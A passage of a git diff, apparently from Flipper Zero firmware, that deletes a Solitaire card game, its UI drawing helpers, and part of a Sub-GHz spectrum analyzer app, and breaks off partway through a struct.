Clears all queue items - * - * @param queue_state The queue state pointer - */ -void queue_clear(QueueState* queue_state); - -/** - * Dequeues the active queue item. Usually you don't need to call it directly. - * - * @param queue_state The queue state pointer - * @param app_state Your application state - */ -void dequeue(QueueState* queue_state, void* app_state); - -/** - * Runs the queue logic (place it in your tick function) - * - * @param queue_state The queue state pointer - * @param app_state Your application state - * @return FALSE when there is nothing to run, TRUE otherwise - */ -bool run_queue(QueueState* queue_state, void* app_state); - -/** - * Calls the currently active queue items render callback (if there is any) - * - * @param queue_state The queue state pointer - * @param app_state Your application state - * @param canvas Pointer to Flipper's canvas object - */ -void render_queue(const QueueState* queue_state, const void* app_state, Canvas* const canvas); \ No newline at end of file diff --git a/applications/external/solitaire/common/ui.c b/applications/external/solitaire/common/ui.c deleted file mode 100644 index 032877a9e..000000000 --- a/applications/external/solitaire/common/ui.c +++ /dev/null @@ -1,257 +0,0 @@ -#include "ui.h" -#include -#include -#include -#include -#include -#include - -TileMap* tileMap; -uint8_t tileMapCount = 0; - -void ui_cleanup() { - if(tileMap != NULL) { - for(uint8_t i = 0; i < tileMapCount; i++) { - if(tileMap[i].data != NULL) free(tileMap[i].data); - } - free(tileMap); - } -} - -void add_new_tilemap(uint8_t* data, unsigned long iconId) { - TileMap* old = tileMap; - tileMapCount++; - tileMap = malloc(sizeof(TileMap) * tileMapCount); - if(tileMapCount > 1) { - for(uint8_t i = 0; i < tileMapCount; i++) tileMap[i] = old[i]; - } - tileMap[tileMapCount - 1] = (TileMap){data, iconId}; -} - -uint8_t* get_tilemap(unsigned long icon_id) { - for(uint8_t i = 0; i < tileMapCount; i++) { - if(tileMap[i].iconId == icon_id) return tileMap[i].data; - } - - return NULL; -} - -uint32_t pixel_index(uint8_t x, uint8_t y) { - return y * SCREEN_WIDTH + x; -} - -bool in_screen(int16_t x, int16_t y) { - return x >= 0 && x < SCREEN_WIDTH && y >= 0 && y < SCREEN_HEIGHT; -} - -unsigned flipBit(uint8_t x, uint8_t bit) { - return x ^ (1 << bit); -} - -unsigned setBit(uint8_t x, uint8_t bit) { - return x | (1 << bit); -} - -unsigned unsetBit(uint8_t x, uint8_t bit) { - return x & ~(1 << bit); -} - -bool test_pixel(uint8_t* data, uint8_t x, uint8_t y, uint8_t w) { - uint8_t current_bit = (y % 8); - uint8_t current_row = ((y - current_bit) / 8); - uint8_t current_value = data[current_row * w + x]; - return current_value & (1 << current_bit); -} - -uint8_t* get_buffer(Canvas* const canvas) { - return canvas->fb.tile_buf_ptr; - // return canvas_get_buffer(canvas); -} -uint8_t* make_buffer() { - return malloc(sizeof(uint8_t) * 8 * 128); -} -void clone_buffer(uint8_t* canvas, uint8_t* data) { - for(int i = 0; i < 1024; i++) { - data[i] = canvas[i]; - } -} - -bool read_pixel(Canvas* const canvas, int16_t x, int16_t y) { - if(in_screen(x, y)) { - return test_pixel(get_buffer(canvas), x, y, SCREEN_WIDTH); - } - return false; -} - -void set_pixel(Canvas* const canvas, int16_t x, int16_t y, DrawMode draw_mode) { - if(in_screen(x, y)) { - uint8_t current_bit = (y % 8); - uint8_t current_row = ((y - current_bit) / 8); - uint32_t i = pixel_index(x, current_row); - uint8_t* buffer = get_buffer(canvas); - - uint8_t current_value = buffer[i]; - if(draw_mode == Inverse) { - buffer[i] = flipBit(current_value, current_bit); - } else { - if(draw_mode == White) { - buffer[i] = unsetBit(current_value, current_bit); - } else { - buffer[i] = setBit(current_value, current_bit); - } - } - } -} - -void draw_line( - Canvas* const canvas, - int16_t x1, - int16_t y1, - int16_t x2, - int16_t y2, - DrawMode draw_mode) { - for(int16_t x = x2; x >= x1; x--) { - for(int16_t y = y2; y >= y1; y--) { - set_pixel(canvas, x, y, draw_mode); - } - } -} - -void draw_rounded_box_frame( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode draw_mode) { - int16_t xMinCorner = x + 1; - int16_t xMax = x + w - 1; - int16_t xMaxCorner = x + w - 2; - int16_t yMinCorner = y + 1; - int16_t yMax = y + h - 1; - int16_t yMaxCorner = y + h - 2; - draw_line(canvas, xMinCorner, y, xMaxCorner, y, draw_mode); - draw_line(canvas, xMinCorner, yMax, xMaxCorner, yMax, draw_mode); - draw_line(canvas, x, yMinCorner, x, yMaxCorner, draw_mode); - draw_line(canvas, xMax, yMinCorner, xMax, yMaxCorner, draw_mode); -} - -void draw_rounded_box( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode draw_mode) { - for(int16_t o = w - 2; o >= 1; o--) { - for(int16_t p = h - 2; p >= 1; p--) { - set_pixel(canvas, x + o, y + p, draw_mode); - } - } - draw_rounded_box_frame(canvas, x, y, w, h, draw_mode); -} - -void invert_shape(Canvas* const canvas, uint8_t* data, int16_t x, int16_t y, uint8_t w, uint8_t h) { - draw_pixels(canvas, data, x, y, w, h, Inverse); -} - -void draw_pixels( - Canvas* const canvas, - uint8_t* data, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode drawMode) { - for(int8_t o = 0; o < w; o++) { - for(int8_t p = 0; p < h; p++) { - if(in_screen(o + x, p + y) && data[p * w + o] == 1) - set_pixel(canvas, o + x, p + y, drawMode); - } - } -} - -void draw_rectangle( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode drawMode) { - for(int8_t o = 0; o < w; o++) { - for(int8_t p = 0; p < h; p++) { - if(in_screen(o + x, p + y)) { - set_pixel(canvas, o + x, p + y, drawMode); - } - } - } -} - -void invert_rectangle(Canvas* const canvas, int16_t x, int16_t y, uint8_t w, uint8_t h) { - draw_rectangle(canvas, x, y, w, h, Inverse); -} - -uint8_t* image_data(Canvas* const canvas, const Icon* icon) { - uint8_t* data = malloc(sizeof(uint8_t) * 8 * 128); - uint8_t* screen = canvas->fb.tile_buf_ptr; - canvas->fb.tile_buf_ptr = data; - canvas_draw_icon(canvas, 0, 0, icon); - canvas->fb.tile_buf_ptr = screen; - return data; -} - -uint8_t* getOrAddIconData(Canvas* const canvas, const Icon* icon) { - uint8_t* icon_data = get_tilemap((unsigned long)icon); - if(icon_data == NULL) { - icon_data = image_data(canvas, icon); - add_new_tilemap(icon_data, (unsigned long)icon); - } - return icon_data; -} - -void draw_icon_clip( - Canvas* const canvas, - const Icon* icon, - int16_t x, - int16_t y, - uint8_t left, - uint8_t top, - uint8_t w, - uint8_t h, - DrawMode drawMode) { - uint8_t* icon_data = getOrAddIconData(canvas, icon); - - for(int i = 0; i < w; i++) { - for(int j = 0; j < h; j++) { - bool on = test_pixel(icon_data, left + i, top + j, SCREEN_WIDTH); - if(drawMode == Filled) { - set_pixel(canvas, x + i, y + j, on ? Black : White); - } else if(on) - set_pixel(canvas, x + i, y + j, drawMode); - } - } -} - -void draw_icon_clip_flipped( - Canvas* const canvas, - const Icon* icon, - int16_t x, - int16_t y, - uint8_t left, - uint8_t top, - uint8_t w, - uint8_t h, - DrawMode drawMode) { - uint8_t* icon_data = getOrAddIconData(canvas, icon); - - for(int i = 0; i < w; i++) { - for(int j = 0; j < h; j++) { - bool on = test_pixel(icon_data, left + i, top + j, SCREEN_WIDTH); - - if(drawMode == Filled) { - set_pixel(canvas, x + w - i - 1, y + h - j - 1, on ? Black : White); - } else if(on) - set_pixel(canvas, x + w - i - 1, y + h - j - 1, drawMode); - } - } -} \ No newline at end of file diff --git a/applications/external/solitaire/common/ui.h b/applications/external/solitaire/common/ui.h deleted file mode 100644 index 13d8da257..000000000 --- a/applications/external/solitaire/common/ui.h +++ /dev/null @@ -1,105 +0,0 @@ -#pragma once - -#include -#include - -#define SCREEN_WIDTH 128 -#define SCREEN_HEIGHT 64 - -typedef enum { - Black, - White, - Inverse, - Filled //Currently only for Icon clip drawing -} DrawMode; - -// size is the screen size - -typedef struct { - uint8_t* data; - unsigned long iconId; -} TileMap; - -bool test_pixel(uint8_t* data, uint8_t x, uint8_t y, uint8_t w); - -uint8_t* image_data(Canvas* const canvas, const Icon* icon); - -uint32_t pixel_index(uint8_t x, uint8_t y); - -void draw_icon_clip( - Canvas* const canvas, - const Icon* icon, - int16_t x, - int16_t y, - uint8_t left, - uint8_t top, - uint8_t w, - uint8_t h, - DrawMode drawMode); - -void draw_icon_clip_flipped( - Canvas* const canvas, - const Icon* icon, - int16_t x, - int16_t y, - uint8_t left, - uint8_t top, - uint8_t w, - uint8_t h, - DrawMode drawMode); - -void draw_rounded_box( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode drawMode); - -void draw_rounded_box_frame( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode drawMode); - -void draw_rectangle( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode drawMode); - -void invert_rectangle(Canvas* const canvas, int16_t x, int16_t y, uint8_t w, uint8_t h); - -void invert_shape(Canvas* const canvas, uint8_t* data, int16_t x, int16_t y, uint8_t w, uint8_t h); - -void draw_pixels( - Canvas* const canvas, - uint8_t* data, - int16_t x, - int16_t y, - uint8_t w, - uint8_t h, - DrawMode drawMode); - -bool read_pixel(Canvas* const canvas, int16_t x, int16_t y); - -void set_pixel(Canvas* const canvas, int16_t x, int16_t y, DrawMode draw_mode); - -void draw_line( - Canvas* const canvas, - int16_t x1, - int16_t y1, - int16_t x2, - int16_t y2, - DrawMode draw_mode); - -bool in_screen(int16_t x, int16_t y); - -void ui_cleanup(); -uint8_t* get_buffer(Canvas* const canvas); -uint8_t* make_buffer(); -void clone_buffer(uint8_t* canvas, uint8_t* data); \ No newline at end of file diff --git a/applications/external/solitaire/defines.h b/applications/external/solitaire/defines.h deleted file mode 100644 index 8734395e8..000000000 --- a/applications/external/solitaire/defines.h +++ /dev/null @@ -1,57 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include "common/card.h" -#include "common/queue.h" - -#define APP_NAME "Solitaire" - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} AppEvent; - -typedef enum { GameStateGameOver, GameStateStart, GameStatePlay, GameStateAnimate } PlayState; - -typedef struct { - uint8_t* buffer; - Card card; - int8_t deck; - int indexes[4]; - float x; - float y; - float vx; - float vy; - bool started; -} CardAnimation; - -typedef struct { - Deck deck; - Hand bottom_columns[7]; - Card top_cards[4]; - bool dragging_deck; - uint8_t dragging_column; - Hand dragging_hand; - - InputKey input; - - bool started; - bool processing; - bool longPress; - PlayState state; - unsigned int last_tick; - uint8_t selectRow; - uint8_t selectColumn; - int8_t selected_card; - CardAnimation animation; - uint8_t* buffer; - FuriMutex* mutex; -} GameState; \ No newline at end of file diff --git a/applications/external/solitaire/solitaire.c b/applications/external/solitaire/solitaire.c deleted file mode 100644 index bb1d75922..000000000 --- a/applications/external/solitaire/solitaire.c +++ /dev/null @@ -1,570 +0,0 @@ -#include -#include -#include -#include -#include "defines.h" -#include "common/ui.h" -#include "solitaire_icons.h" -#include -#include -void init(GameState* game_state); -const NotificationSequence sequence_fail = { - &message_vibro_on, - &message_note_c4, - &message_delay_10, - &message_vibro_off, - &message_sound_off, - &message_delay_10, - - &message_vibro_on, - &message_note_a3, - &message_delay_10, - &message_vibro_off, - &message_sound_off, - NULL, -}; -int8_t columns[7][3] = { - {1, 1, 25}, - {19, 1, 25}, - {37, 1, 25}, - {55, 1, 25}, - {73, 1, 25}, - {91, 1, 25}, - {109, 1, 25}, -}; - -bool can_place_card(Card where, Card what) { - FURI_LOG_D( - APP_NAME, - "TESTING pip %i, letter %i with pip %i, letter %i", - where.pip, - where.character, - what.pip, - what.character); - bool a_black = where.pip == 0 || where.pip == 3; - bool b_black = what.pip == 0 || what.pip == 3; - if(a_black == b_black) return false; - - int8_t a_letter = (int8_t)where.character; - int8_t b_letter = (int8_t)what.character; - if(a_letter == 12) a_letter = -1; - if(b_letter == 12) b_letter = -1; - - return (a_letter - 1) == b_letter; -} - -static void draw_scene(Canvas* const canvas, const GameState* game_state) { - int deckIndex = game_state->deck.index; - if(game_state->dragging_deck) deckIndex--; - - if((game_state->deck.index < (game_state->deck.card_count - 1) || - game_state->deck.index == -1) && - game_state->deck.card_count > 0) { - draw_card_back_at(columns[0][0], columns[0][1], canvas); - if(game_state->selectRow == 0 && game_state->selectColumn == 0) { - draw_rounded_box( - canvas, - columns[0][0] + 1, - columns[0][1] + 1, - CARD_WIDTH - 2, - CARD_HEIGHT - 2, - Inverse); - } - } else - draw_card_space( - columns[0][0], - columns[0][1], - game_state->selectRow == 0 && game_state->selectColumn == 0, - canvas); - //deck side - if(deckIndex >= 0) { - Card c = game_state->deck.cards[deckIndex]; - draw_card_at_colored( - columns[1][0], - columns[1][1], - c.pip, - c.character, - game_state->selectRow == 0 && game_state->selectColumn == 1, - canvas); - } else - draw_card_space( - columns[1][0], - columns[1][1], - game_state->selectRow == 0 && game_state->selectColumn == 1, - canvas); - - for(uint8_t i = 0; i < 4; i++) { - Card current = game_state->top_cards[i]; - bool selected = game_state->selectRow == 0 && game_state->selectColumn == (i + 3); - if(current.disabled) { - draw_card_space(columns[i + 3][0], columns[i + 3][1], selected, canvas); - } else { - draw_card_at( - columns[i + 3][0], columns[i + 3][1], current.pip, current.character, canvas); - if(selected) { - draw_rounded_box( - canvas, columns[i + 3][0], columns[i + 3][1], CARD_WIDTH, CARD_HEIGHT, Inverse); - } - } - } - - for(uint8_t i = 0; i < 7; i++) { - bool selected = game_state->selectRow == 1 && game_state->selectColumn == i; - int8_t index = (game_state->bottom_columns[i].index - 1 - game_state->selected_card); - if(index < 0) index = 0; - draw_hand_column( - game_state->bottom_columns[i], - columns[i][0], - columns[i][2], - selected ? index : -1, - canvas); - } - - int8_t pos[2] = { - columns[game_state->selectColumn][0], - columns[game_state->selectColumn][game_state->selectRow + 1]}; - - /* draw_icon_clip(canvas, &I_card_graphics, pos[0] + CARD_HALF_WIDTH, pos[1] + CARD_HALF_HEIGHT, 30, 5, 5, 5, - Filled);*/ - - if(game_state->dragging_hand.index > 0) { - draw_hand_column( - game_state->dragging_hand, - pos[0] + CARD_HALF_WIDTH + 3, - pos[1] + CARD_HALF_HEIGHT + 3, - -1, - canvas); - } -} - -static void draw_animation(Canvas* const canvas, const GameState* game_state) { - if(!game_state->animation.started) { - draw_scene(canvas, game_state); - } else { - clone_buffer(game_state->animation.buffer, get_buffer(canvas)); - - draw_card_at( - (int8_t)game_state->animation.x, - (int8_t)game_state->animation.y, - game_state->animation.card.pip, - game_state->animation.card.character, - canvas); - } - - clone_buffer(get_buffer(canvas), game_state->animation.buffer); -} - -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const GameState* game_state = ctx; - furi_mutex_acquire(game_state->mutex, FuriWaitForever); - - switch(game_state->state) { - case GameStateAnimate: - draw_animation(canvas, game_state); - break; - case GameStateStart: - canvas_draw_icon(canvas, 0, 0, &I_solitaire_main); - break; - case GameStatePlay: - draw_scene(canvas, game_state); - break; - default: - break; - } - - furi_mutex_release(game_state->mutex); -} - -void remove_drag(GameState* game_state) { - if(game_state->dragging_deck) { - remove_from_deck(game_state->deck.index, &(game_state->deck)); - game_state->dragging_deck = false; - } else if(game_state->dragging_column < 7) { - game_state->dragging_column = 8; - } - game_state->dragging_hand.index = 0; -} - -bool handleInput(GameState* game_state) { - Hand currentHand = game_state->bottom_columns[game_state->selectColumn]; - switch(game_state->input) { - case InputKeyUp: - if(game_state->selectRow > 0) { - int first = first_non_flipped_card(currentHand); - first = currentHand.index - first; - if((first - 1) > game_state->selected_card && game_state->dragging_hand.index == 0 && - !game_state->longPress) { - game_state->selected_card++; - } else { - game_state->selectRow--; - game_state->selected_card = 0; - } - } - break; - case InputKeyDown: - if(game_state->selectRow < 1) { - game_state->selectRow++; - game_state->selected_card = 0; - } else { - if(game_state->selected_card > 0) { - if(game_state->longPress) - game_state->selected_card = 0; - else - game_state->selected_card--; - } - } - break; - case InputKeyRight: - if(game_state->selectColumn < 6) { - game_state->selectColumn++; - game_state->selected_card = 0; - } - break; - case InputKeyLeft: - if(game_state->selectColumn > 0) { - game_state->selectColumn--; - game_state->selected_card = 0; - } - break; - case InputKeyOk: - return true; - break; - default: - break; - } - if(game_state->selectRow == 0 && game_state->selectColumn == 2) { - if(game_state->input == InputKeyRight) - game_state->selectColumn++; - else - game_state->selectColumn--; - } - if(game_state->dragging_hand.index > 0) game_state->selected_card = 0; - return false; -} - -bool place_on_top(Card* where, Card what) { - if(where->disabled && what.character == 12) { - where->disabled = what.disabled; - where->pip = what.pip; - where->character = what.character; - return true; - } else if(where->pip == what.pip) { - int8_t a_letter = (int8_t)where->character; - int8_t b_letter = (int8_t)what.character; - if(a_letter == 12) a_letter = -1; - if(b_letter == 12) b_letter = -1; - - if(where->disabled && b_letter != -1) return false; - - if((a_letter + 1) == b_letter) { - where->disabled = what.disabled; - where->pip = what.pip; - where->character = what.character; - return true; - } - } - return false; -} - -void tick(GameState* game_state, NotificationApp* notification) { - game_state->last_tick = furi_get_tick(); - uint8_t row = game_state->selectRow; - uint8_t column = game_state->selectColumn; - if(game_state->state != GameStatePlay && game_state->state != GameStateAnimate) return; - bool wasAction = false; - if(game_state->state == GameStatePlay) { - if(game_state->top_cards[0].character == 11 && game_state->top_cards[1].character == 11 && - game_state->top_cards[2].character == 11 && game_state->top_cards[3].character == 11) { - dolphin_deed(DolphinDeedPluginGameWin); - game_state->state = GameStateAnimate; - return; - } - } - if(handleInput(game_state)) { - if(game_state->state == GameStatePlay) { - if(game_state->longPress && game_state->dragging_hand.index == 1) { - for(uint8_t i = 0; i < 4; i++) { - if(place_on_top( - &(game_state->top_cards[i]), game_state->dragging_hand.cards[0])) { - remove_drag(game_state); - wasAction = true; - break; - } - } - } else { - if(row == 0 && column == 0 && game_state->dragging_hand.index == 0) { - FURI_LOG_D(APP_NAME, "Drawing card"); - game_state->deck.index++; - wasAction = true; - if(game_state->deck.index >= (game_state->deck.card_count)) - game_state->deck.index = -1; - } - //pick/place from deck - else if(row == 0 && column == 1) { - //place - if(game_state->dragging_deck) { - wasAction = true; - game_state->dragging_deck = false; - game_state->dragging_hand.index = 0; - } - //pick - else { - if(game_state->dragging_hand.index == 0 && game_state->deck.index >= 0) { - wasAction = true; - game_state->dragging_deck = true; - add_to_hand( - &(game_state->dragging_hand), - game_state->deck.cards[game_state->deck.index]); - } - } - } - //place on top row - else if(row == 0 && game_state->dragging_hand.index == 1) { - column -= 3; - Card currCard = game_state->dragging_hand.cards[0]; - wasAction = place_on_top(&(game_state->top_cards[column]), currCard); - if(wasAction) remove_drag(game_state); - } - //pick/place from bottom - else if(row == 1) { - Hand* curr_hand = &(game_state->bottom_columns[column]); - //pick up - if(game_state->dragging_hand.index == 0) { - Card curr_card = curr_hand->cards[curr_hand->index - 1]; - if(curr_card.flipped) { - curr_hand->cards[curr_hand->index - 1].flipped = false; - wasAction = true; - } else { - if(curr_hand->index > 0) { - extract_hand_region( - curr_hand, - &(game_state->dragging_hand), - curr_hand->index - game_state->selected_card - 1); - game_state->selected_card = 0; - game_state->dragging_column = column; - wasAction = true; - } - } - } - //place - else { - Card first = game_state->dragging_hand.cards[0]; - if(game_state->dragging_column == column || - (curr_hand->index == 0 && first.character == 11) || - can_place_card(curr_hand->cards[curr_hand->index - 1], first)) { - add_hand_region(curr_hand, &(game_state->dragging_hand)); - remove_drag(game_state); - wasAction = true; - } - } - } - } - - if(!wasAction) { - notification_message(notification, &sequence_fail); - } - } - } - if(game_state->state == GameStateAnimate) { - if(game_state->animation.started && !game_state->longPress && - game_state->input == InputKeyOk) { - init(game_state); - game_state->state = GameStateStart; - } - - game_state->animation.started = true; - if(game_state->animation.x < -20 || game_state->animation.x > 128) { - game_state->animation.deck++; - if(game_state->animation.deck > 3) game_state->animation.deck = 0; - int8_t cardIndex = 11 - game_state->animation.indexes[game_state->animation.deck]; - - if(game_state->animation.indexes[0] == 13 && game_state->animation.indexes[1] == 13 && - game_state->animation.indexes[2] == 13 && game_state->animation.indexes[3] == 13) { - init(game_state); - game_state->state = GameStateStart; - return; - } - - if(cardIndex == -1) cardIndex = 12; - game_state->animation.card = (Card){ - game_state->top_cards[game_state->animation.deck].pip, cardIndex, false, false}; - game_state->animation.indexes[game_state->animation.deck]++; - game_state->animation.vx = -(rand() % 3 + 1) * (rand() % 2 == 1 ? 1 : -1); - game_state->animation.vy = (rand() % 3 + 1); - game_state->animation.x = columns[game_state->animation.deck + 3][0]; - game_state->animation.y = columns[game_state->animation.deck + 3][1]; - } - game_state->animation.x += game_state->animation.vx; - game_state->animation.y -= game_state->animation.vy; - game_state->animation.vy -= 1; - if(game_state->animation.vy < -10) game_state->animation.vy = -10; - - if(game_state->animation.y > 41) { - game_state->animation.y = 41; - game_state->animation.vy = -(game_state->animation.vy * 0.7f); - } - } -} - -void init(GameState* game_state) { - game_state->selectColumn = 0; - game_state->selected_card = 0; - game_state->selectRow = 0; - generate_deck(&(game_state->deck), 1); - shuffle_deck(&(game_state->deck)); - game_state->dragging_deck = false; - game_state->animation.started = false; - game_state->animation.deck = -1; - game_state->animation.x = -21; - game_state->state = GameStatePlay; - game_state->dragging_column = 8; - - for(uint8_t i = 0; i < 7; i++) { - free_hand(&(game_state->bottom_columns[i])); - init_hand(&(game_state->bottom_columns[i]), 21); - game_state->bottom_columns[i].index = 0; - for(uint8_t j = 0; j <= i; j++) { - Card cur = remove_from_deck(0, &(game_state->deck)); - cur.flipped = i != j; - add_to_hand(&(game_state->bottom_columns[i]), cur); - } - } - - for(uint8_t i = 0; i < 4; i++) { - game_state->animation.indexes[i] = 0; - game_state->top_cards[i] = (Card){0, 0, true, false}; - } - game_state->deck.index = -1; -} - -void init_start(GameState* game_state) { - game_state->input = InputKeyMAX; - for(uint8_t i = 0; i < 7; i++) init_hand(&(game_state->bottom_columns[i]), 21); - - init_hand(&(game_state->dragging_hand), 13); - game_state->animation.buffer = make_buffer(); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - AppEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void update_timer_callback(FuriMessageQueue* event_queue) { - furi_assert(event_queue); - AppEvent event = {.type = EventTypeTick}; - furi_message_queue_put(event_queue, &event, 0); -} - -int32_t solitaire_app(void* p) { - UNUSED(p); - int32_t return_code = 0; - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(AppEvent)); - GameState* game_state = malloc(sizeof(GameState)); - init_start(game_state); - set_card_graphics(&I_card_graphics); - - game_state->state = GameStateStart; - - game_state->processing = true; - game_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!game_state->mutex) { - FURI_LOG_E(APP_NAME, "cannot create mutex\r\n"); - return_code = 255; - goto free_and_exit; - } - NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); - - notification_message_block(notification, &sequence_display_backlight_enforce_on); - - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, game_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - FuriTimer* timer = furi_timer_alloc(update_timer_callback, FuriTimerTypePeriodic, event_queue); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 30); - - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - AppEvent event; - - // Call Dolphin deed on game start - dolphin_deed(DolphinDeedPluginGameStart); - - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 150); - furi_mutex_acquire(game_state->mutex, FuriWaitForever); - if(event_status == FuriStatusOk) { - if(event.type == EventTypeKey) { - if(event.input.type == InputTypeLong) { - game_state->longPress = true; - switch(event.input.key) { - case InputKeyUp: - case InputKeyDown: - case InputKeyRight: - case InputKeyLeft: - case InputKeyOk: - game_state->input = event.input.key; - break; - case InputKeyBack: - processing = false; - return_code = 1; - default: - break; - } - } else if(event.input.type == InputTypePress) { - game_state->longPress = false; - switch(event.input.key) { - case InputKeyUp: - case InputKeyDown: - case InputKeyRight: - case InputKeyLeft: - case InputKeyOk: - if(event.input.key == InputKeyOk && game_state->state == GameStateStart) { - game_state->state = GameStatePlay; - init(game_state); - } else { - game_state->input = event.input.key; - } - break; - case InputKeyBack: - init(game_state); - processing = false; - return_code = 1; - break; - default: - break; - } - } - } else if(event.type == EventTypeTick) { - tick(game_state, notification); - processing = game_state->processing; - game_state->input = InputKeyMAX; - } - } - view_port_update(view_port); - furi_mutex_release(game_state->mutex); - } - - notification_message_block(notification, &sequence_display_backlight_enforce_auto); - furi_timer_free(timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - view_port_free(view_port); - furi_mutex_free(game_state->mutex); - -free_and_exit: - free(game_state->animation.buffer); - ui_cleanup(); - for(uint8_t i = 0; i < 7; i++) free_hand(&(game_state->bottom_columns[i])); - - free(game_state->deck.cards); - free(game_state); - furi_message_queue_free(event_queue); - return return_code; -} \ No newline at end of file diff --git a/applications/external/solitaire/solitaire_10px.png b/applications/external/solitaire/solitaire_10px.png deleted file mode 100644 index 3c5669dd2..000000000 Binary files a/applications/external/solitaire/solitaire_10px.png and /dev/null differ diff --git a/applications/external/spectrum_analyzer/application.fam b/applications/external/spectrum_analyzer/application.fam deleted file mode 100644 index 27cc286d9..000000000 --- a/applications/external/spectrum_analyzer/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="spectrum_analyzer", - name="Spectrum Analyzer", - apptype=FlipperAppType.EXTERNAL, - entry_point="spectrum_analyzer_app", - requires=["gui"], - stack_size=2 * 1024, - order=12, - fap_icon="spectrum_10px.png", - fap_category="Sub-GHz", - fap_author="@xMasterX & @theY4Kman & @ALEEF02 (original by @jolcese)", - fap_version="1.1", - fap_description="Displays a spectrogram chart to visually represent RF signals around you.", -) diff --git a/applications/external/spectrum_analyzer/helpers/radio_device_loader.c b/applications/external/spectrum_analyzer/helpers/radio_device_loader.c deleted file mode 100644 index d2cffde58..000000000 --- a/applications/external/spectrum_analyzer/helpers/radio_device_loader.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "radio_device_loader.h" - -#include -#include - -static void radio_device_loader_power_on() { - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - //CC1101 power-up time - furi_delay_ms(10); - } -} - -static void radio_device_loader_power_off() { - if(furi_hal_power_is_otg_enabled()) furi_hal_power_disable_otg(); -} - -bool radio_device_loader_is_connect_external(const char* name) { - bool is_connect = false; - bool is_otg_enabled = furi_hal_power_is_otg_enabled(); - - if(!is_otg_enabled) { - radio_device_loader_power_on(); - } - - const SubGhzDevice* device = subghz_devices_get_by_name(name); - if(device) { - is_connect = subghz_devices_is_connect(device); - } - - if(!is_otg_enabled) { - radio_device_loader_power_off(); - } - return is_connect; -} - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type) { - const SubGhzDevice* radio_device; - - if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 && - radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) { - radio_device_loader_power_on(); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME); - subghz_devices_begin(radio_device); - } else if(current_radio_device == NULL) { - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } else { - radio_device_loader_end(current_radio_device); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } - - return radio_device; -} - -void radio_device_loader_end(const SubGhzDevice* radio_device) { - furi_assert(radio_device); - radio_device_loader_power_off(); - if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) { - subghz_devices_end(radio_device); - } -} \ No newline at end of file diff --git a/applications/external/spectrum_analyzer/helpers/radio_device_loader.h b/applications/external/spectrum_analyzer/helpers/radio_device_loader.h deleted file mode 100644 index bee4e2c36..000000000 --- a/applications/external/spectrum_analyzer/helpers/radio_device_loader.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include - -/** SubGhzRadioDeviceType */ -typedef enum { - SubGhzRadioDeviceTypeInternal, - SubGhzRadioDeviceTypeExternalCC1101, -} SubGhzRadioDeviceType; - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type); - -void radio_device_loader_end(const SubGhzDevice* radio_device); \ No newline at end of file diff --git a/applications/external/spectrum_analyzer/spectrum_10px.png b/applications/external/spectrum_analyzer/spectrum_10px.png deleted file mode 100644 index 743c2460b..000000000 Binary files a/applications/external/spectrum_analyzer/spectrum_10px.png and /dev/null differ diff --git a/applications/external/spectrum_analyzer/spectrum_analyzer.c b/applications/external/spectrum_analyzer/spectrum_analyzer.c deleted file mode 100644 index 345dd008b..000000000 --- a/applications/external/spectrum_analyzer/spectrum_analyzer.c +++ /dev/null @@ -1,611 +0,0 @@ -#include -#include - -#include -#include -#include -#include "spectrum_analyzer.h" - -#include -#include "spectrum_analyzer_worker.h" - -typedef struct { - uint32_t center_freq; - uint8_t width; - uint8_t modulation; - uint8_t band; - uint8_t vscroll; - - uint32_t channel0_frequency; - uint32_t spacing; - - bool mode_change; - bool modulation_change; - - float max_rssi; - uint8_t max_rssi_dec; - uint8_t max_rssi_channel; - uint8_t channel_ss[NUM_CHANNELS]; -} SpectrumAnalyzerModel; - -typedef struct { - SpectrumAnalyzerModel* model; - FuriMutex* model_mutex; - - FuriMessageQueue* event_queue; - - ViewPort* view_port; - 